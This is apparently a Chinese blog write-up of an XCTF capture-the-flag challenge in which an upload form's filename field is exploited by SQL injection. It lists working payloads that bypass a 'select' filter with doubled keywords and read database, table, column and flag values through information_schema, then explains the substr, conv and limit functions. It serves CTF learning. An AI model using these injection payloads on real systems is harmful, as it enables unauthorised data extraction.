ctf题记录之SQL注入

sql注入之文件上传

在这里插入图片描述

这是一道XCTF平台上的upload题,我没有想到它是个sql注入

http://111.198.29.45:46096/

0x01
打开链接是一个登陆界面,不管三七二十一先注册登陆,是一个文件上传的页面,任意上传文件,发现只能传jpg才能记录下来。好像其他的都被过滤掉了。

在这里插入图片描述

0x02
值得注意的是我们上传的文件名都会显示到页面上,这个过程可能是经过数据库查询的,我们上传的文件名会存放到数据库中,猜想插入语句为:

insert into 表名(‘filename’,…) values(‘上传的文件名’,…);
尝试构造sql语句,容我抓个包先!!在这里插入图片描述0x03
在filename=4.jpg的地方构造sql语句:尝试发现select被过滤,尝试双写绕过,经过轮番尝试,构造语句:

’ +seleselectct conv(substr(hex(database()),1,12),16,10) +'读取出库名

依次读出表名:
‘+(seleselectct+conv(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema = ‘web_upload’ limit 1,1)),1,12),16,10))+’

读出列名:
'+(seleselectct+conv(substr(hex((selselectect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = ‘hello_flag_is_here’ limit 1,1)),1,12),16,10))+ ’

读出flag:
'+(seleselectct CONV(substr(hex((seselectlect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+ ’

注意:substr中的长度限制:不限制长度会导致返回值太大,系统使用科学计数法(xx e xxxxx)表示。所以还得一点点试试看,很烦这里

![在这里插入图片描述](https://img-blog.csdnimg.cn/20190928190711879.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODE0Nzc3,size_16,color_FFFFFF,t_70把

我用的进制转化工具:https://tool.lu/hexconvert/
16进制转ASCII工具:https://tool.lu/hexstr/

把36427215695199转16进制,再转ASCII码得:!!@m
在这里插入图片描述

调整长度(13,12)得到:Th.e_F
再次调整(25,12):!lag
拼接得:!!_@m_Th.e_F!lag

0x05
分享以下学到的函数:
substr函数格式 (俗称:字符截取函数)
  格式1: substr(string string, int a, int b);
  格式2:substr(string string, int a) ;
格式1:
1、string 需要截取的字符串
2、a 截取字符串的开始位置(注:当a等于0或1时,都是从第一位开始截取)
3、b 要截取的字符串的长度
格式2:
1、string 需要截取的字符串
2、a 可以理解为从第a个字符开始截取后面所有的字符串。

CONV()函数格式:
格式:conv(hex(‘a’),a,b)

这个函数是用来将字符转换进制的,例如将a转成ASCII码(换个说法就是将16进制的a换成10进制)直接用conv(hex(‘a’),16,10)

第一个参数是要转换的字符,第二个就是要转换的字符的进制,第三个参数就是转换成的进制

就是说第二个参数要和第一个参数的类型一致,第三个参数就是想要得到的进制

**limit :** limit子句用于限制查询结果返回的数量,常用于分页查询
例如:select column from tableName limit i,n
 i:为查询结果的索引值(默认从0开始),当i=0时可省略i
 n:为查询结果返回的数量
 i与n之间使用英文逗号","隔开,limit n 等同于 limit 0,n
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值